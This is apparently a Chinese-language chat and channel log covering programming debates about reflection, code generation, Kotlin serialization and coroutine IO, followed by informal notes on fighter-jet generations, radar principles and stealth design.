哦,至少可以实现 keyOf(Pair)=[基于反射自动constexpr展开] 的元编程

C++模板属实是唐到家了,我支持过程宏,和反射API保持一致

除了Function/Tuple<T,R> 还有别的应用么……

我不是很喜欢把 compile time 和反射分那么开。 Zig 就完全没有区分,type和generic是const/fun而已

AOP被FP取代的问题,本来就是为了 make compiler happy 造成了冗余代码被接口这些东西耦合,所以要Proxy依赖注入/反射 来包一层
结果你又搞个编译期API, 还是和Pyjs那样都运行期好了。

这些都是codegen的东西吧,模式明确一个py脚本很快给你生成了

而且,即便函数式er 也很少人用部分传参

f=(A,B)=>A
f1=A=>B=>A

g=(f,A)=>(B)=>f(A,B)

这样的模式,比如f替换 ,为=>
g基本也是一样, 加个泛型参数就能生成了

special cases ain't special enough to break simplicity
duangsuse:
Rust的宏就类似template<>匹配, 那其实就是语法不稳定造成反射API难产而已

要我说,所有编程语言的语意都是类似的,比如tuple/named/cased 这些数据结构,都可以有相同的方法来复用和利用 (abc)=>type, {kvar: type} 这些无法执行的声明片段
模板只是目标最单一,只能解决 Stream.$OfInt/Function/Tuple<T,R> 问题的那种

编译期和运行期反射其实没有鸿沟。

我举个例子吧,调用任意f(int x,int y,..) 形式的函数,你可以用reflect, 也就是把'f' cast成 f(Any..): Any ,也就是生成 = INSTANCE.f(a[0] as Int, a[1] as Int) as Any

确实,调用任意函数时这种as检查是必须的,但对 Proxy ,比如实现接口 { g(x: int) } ,拿 arg[0] 去调用f就不需要生成这个检查
上面的 curry 也是这个道理, 只要把 <T1 T2 T3..> 放在接口里,编译期和运行期反射是一样的(比较难懂,因为java有泛型擦除)

但现在的AOP就用了类似的技巧去包装任意函数, 其实只要把生成的代码缓存下来, 就是你所说的模板。

(其实这就是 lang.invoke 的仅首次反射化啊。。没人看出来吗,相当于推理出某函数a[0]就是Int然后免检,invokedynamic调用啊)

就是说, callWithZero(obj::fn) 初次反射后,可以生成为一个重载, interface{字典} 可以生成为一个子类, 没有模板和动态代理的问题了, 反射能做到的业务都可以缓存为lib API

before&after的hook是一个道理

委托实现了C里的左值引用 bind(int& prop,Name)
interface by 实现了JS的原型链方法覆盖

var by可以视作反射赋值的轻量化,因为java确实不支持IntRef(0)这种东西,reflect.Prop又不直接

看来除了iterator,java的简化弄丢了另一个重要的框架基因

总感觉代理和DI是等价的,反射代理和codegen也一样,后者更麻烦

我之前的模式匹配trick 本质上也是var代理,只是var是匿
duangsuse:
真正FP的JS也有啊, fantasyland
而且JS是唯一一个异步工作最正常的,IO Monad 都比不上

好耶! 这样我的 list.invoke{x-> x+1 vs print(x)} 就能区别开了
想也自然,作为类型推理的一部分,retType 本来就该加入重载,反正要检查的嘛

等等,你不觉得 put*() 是一种很缺DSL的操作吗……
buildList 这种东西能当作优雅也就算了,人家用for while 的。 请问你的场景是命令式还是组合式编程呢

而且我也没看出来fieldName 在哪里,是Title("")吗

哦搞错了,你这是实现细节,不是 schema 定义
不过ktx写json的方式也是够单边主义的了

为什么除了jspy都不在主页里加demo呢……
SchemaGenerator.from<TestDataClass>() 和你给的代码有啥关系我也看不出来

我的理解就是,把 data IntPair(A:.B:..)
翻译为
$IntPair:
A: $int
B: $int
这样的格式

难道不是先写doc和demo test 在编程吗

哦 抱歉 我们不是相同流派

因为不写demo你真的没法确认用户需求, demo当然是越实践越好的, 但也要注重复用性

相比之下这个还算完整,有数据结构

其实既然只是小练笔,你可以不太在意这些包装, ktx用的也不是多好看的方法

哦,这些是override serialize函数,用于输出Schema啊, 这些就是和ktx对接的全部代码了吗?不需要override了?

呃,用py和bash以外的API搞ai app
感觉会被设计模式各种吊打

ktx是用反射调用你这边的?
你这也没看到类型名,怎么从Desc搞到this的

这是不是还要创建一个空实例去encode() , 说起来,JSON schema 会有RegExp和Range作为值的需求,Kt有没有@标签什么的

哦,那还真是各显神通,因为schema这东西千篇一律,但每个语言都有自己的10k+ 社区库

我还以为ktx也在用Unsafe.new呢,因为能直接在堆上分配

那它是怎么支持多种格式,以及静态序列化, 是指 inline serdeFuns 吗

duangsuse:
嗨,算了,反正也理解不了
我设计的静态兼Proxy反射 serde API https://t.iss.one/dsuse/20253
也只是用 Tr(key)= when key{ "int_x"-> int_x=GlobalFmt.Tr(int_x) } 来浅先赋值的,没有那么多私货和轮子

可以理解

必要的牺牲

时代的局限

后人的智慧

我就想,要是干脆和pyjs那样拿{}[] getattr 统一一切,所有serdeFmt就都用这个接口算了, 好不容易整个出来自己还接受不了的活

不就是免装拆箱和反射getField开销吗, codegen when(fieldName)+overload 很轻松零设计模式做出来的东西,然后 [T Map] [T List] 也就是填一下类型作为静态函数和参数的坑,搞个 SerdeRegistry[T](*Targs), 争议不就解决了

那你觉得那种「静态序列化」会比 switch case"intx": intx=whatInJSON(intx just for overload/or for json.dump maybe?) 要好呢
在我看来这就是手写递归下降而已, ktx 那个,我找不到背后的成立逻辑
#kt
Stream:
在协程里面用同步IO就是个错误

suspend fun不应该阻塞所在线程

duangsuse:
逆天,协程就是为了回调化免卡C栈的,您卡了怎么线程池IO啊

问题就是没有啊,一个扩展fun的事情

没有啊,你说得对我补充一句

记得kt对那种while是有time slice的,会自动暂停恢复的,和iter一样

async和Thread本来就是不能同时使用的,或者说只能矮化线程为Task/并行For

因为线程是libc的概念,jspy里是没有这种东西

如果没有我会感觉奇怪, kt就是编译期的suspend协程栈实现, while(1)能破的话就没意义了

其实我说的线程池是 IO Loop 的 pool ,单纯的线程池意义不大,不如GPU向量化

UNIX是这样的,为了优化read() 之类启用了select和evpoll(pull轮询) 两代模式,本质上都是拿线程当Task Registry ,当回调函数调度器

Stream:
如果是协程,我个人觉得用poll为基础的非阻塞IO会好很多

毕竟不管什么时候我都会想到协程的背后藏着一个线程池和回调

当然,也可以说藏着一个状态机

duangsuse:
太猪逼了吧,那有没有delay(0)的规范什么的

yield解决不了问题, 因为一个Task明显是可以跑0.5s再context switch的,这涉及缓冲区和time slice优化

kt一开始就应该把协程看作操作系统的子进程/io pipes 来设计
IO Loop 则是用于多线程下载什么的

OS就是这样的,填满一个read(buf) 再切换上文,没有猪逼和yield一样 1项1切换

Stream:
delay0肯定是可以用的嘛

duangsuse:
这涉及手写event loop 是否可行的问题
现在的async都是基于push事件,pull(list poll) 事件 是需要死循环的,也就是按理来说需要线程

如果libc不能提供单核多任务,stdlib 是有能力靠主循环实现的, 这种能自由添加setInterval()的async体系才是完备的

如果需要一些莫名其妙的API甚至新建线程来添加对while(1) 的支持, 其实就说明stdlib的作者没有把OS线程与IO协程的关系融会贯通。

话说你一般用线程池解决什么

我就分ParallelForEach 和 IO Looper 多线程下载 两种情况

Stream:
如果是CPU密集型的任务,应该是类似Java的Fork Join那种类型的解决方式(据说NT compose就是用另外的线程来处理UI的测量计算问题),如果是IO密集型的任务,通常是文件/网络资源的请求

IO的轮询我其实自己没写过,都是直接用别人包装好的回调形式

不过用的时候肯定心里要清楚那背后藏着一个连接池,有个轮询的操作

duangsuse:
仔细想想,pull事件的话,无论open()多少fd, 都只需要1个线程才对

考虑到UIUX和IO的evpoll循环不共享,一般会有两个while(1), 但本质上只需要一个用来dispatch回调、添加新await就够了

哎,所以js说的对,线程池,只有 Worker SIMD的一种情况

Jason5Lee:
不会,Kotlin 应该不会做这种 implicit 的东西

duangsuse:
如果你从编程语言=操作系统的角度, 你会发现在async里写真死循环才是implicit的

Android开发如果最初能自动化Thread.sleep,相信dev会欢呼

OS在调度sleep()时是不会卡死1CPU的,它只是把cpu给标记为free,然后block你的线程

然而,协程里while(1)却会真实的废掉你的Executor,我不知道这是搞什么鬼
#通识类
>什么是战斗机的代?

1~3代: 喷气式战斗机/F-86; 机动性和火力升级/F-4; 数字化和导弹系统/F-14
4~5代: 隐身性能、超视距作战/F-22猛禽、Su-35; 超音速+网络中心化战术/F-35、歼-20

6代:波音公司2008年提出F/A-XX第六代战机概念方案
- 采用了无垂尾/浅垂尾的翼身融合扁平气动布局,曲面外形扁薄、平滑流畅,表现出了良好的「全频谱隐身特性」
- 全向传感器和态势感知能力,网络化作战,使其成为穿透性制空作战能力中的火力「无人执行平台及信息节点」
- 智能化飞行控制系统使飞机在极限或>1G过载条件下的可达能力、操控能力将高于五代机,续航提升30%以上,更能适应「激光武器、高超声速导弹」
- 注重远程甚至跨洲打击、「物联协同及AI智能作战能力」,可见Tesla的技术是「军民两用」的,具有「零伤亡、易于快速形成和保持、超越人体耐受极限的战争优势」
- 「2000 km以上的作战半径及的亚音速飞行、>2Ma的长时巡航能力」,以1.5Ma超声速状态突防,可破防现役的防空体系;基于矢量喷口/冲压发动机(需压缩空气在3到6Ma之间最优,不能起步)/脉冲爆震发动机(燃烧效率和的推力比更高)等

除了导弹般>1.5Ma的破防能力、军事AI无人网格化的应用, 三要素:吸波涂层、发动机、搭载的国有导弹体系, 依然是工业基础(推重比只是方便你比较材料学的差距,性能)

>什么是体系?体系里的节点是什么?

节点,是指组合成体系的关键点。例如,在网络体系中,节点可以是计算机或服务器;在战斗指挥体系中,节点可以是指挥中心或通信站。体系指军事的组织和结构,如防空体系、作战指挥体系等。
我说的体系,是指「同代产品的兼容性」: 体积与速度最接近与六代机相匹配的东风导弹系列, DF-17 不在此列。
这就是为了赢,违背市场规律设计的产品,被揠苗助长后的生长纹。 苏联只有一颗大脑在想,其他的只需服从即可。而美国有千千万万颗大脑正在思想。寡不敌众。
寡不敌众。

>OODA 循环是什么?

即时决策法。“观察-定向-决策-行动”(Observe-Orient-Decide-Act),最初由美国空军上校约翰·博伊德(John Boyd)提出也被广泛应用于商业、体育。这个循环是一个不断重复的调转风向或找最优解的过程,引入了反馈机制
美国“动力”网站2024年12月26日称,社交媒体上流传的照片和视频显示,中国当天成功试飞了一款“令人震惊”的高性能有人驾驶第六代隐形战斗机,并由歼-20战斗机伴飞。
-- 20241226国防时报发微博:银杏黄了 https://www.douyin.com/zhuanti/7454074920679540774 。隐形黄了,都是预制人,读不懂吗。
另外,国内基于LiDAR和RSU“电线杆”的体系,也是美国《海湾战争》之后他们投资的领域, 这两年已经到了收成的时机。

#隐身类
>什么是雷达的基本原理?
蝙蝠叫。回波时差探测,此外还可以测速(Doppler)测形状(LiDAR 3D点云)。RAdio Detection And Ranging

>什么是雷达的体制?
相控阵雷达:多目标扫描。 连续波/连续调频/脉冲雷达: 通过连续或间断电磁回波用于测速和目标跟踪

>新一代反隐身雷达对战机设计提出了什么要求,尤其是外形?
减少雷达散射截面积(RCS),使用更多的曲线和圆角设计。外挂设备应尽量减少; 以排气口屏蔽、冷却排气或S形进气道 ,避免发动机暴露

>隐身真的靠涂料吗?
还有光学隐身技术,这种技术目前仍在研发中。 不过,违背常识,不对回波进行处理或干扰,却能隐形的,大概和光刻厂一样说笑了

>隐身涂料的体系有什么,一共有几代,中美目前是什么水平?
1~3代: 微波频段吸收、电介质材料(广频域,F22/歼-20)、陶瓷基隐身涂料(1750℃可高温,F35)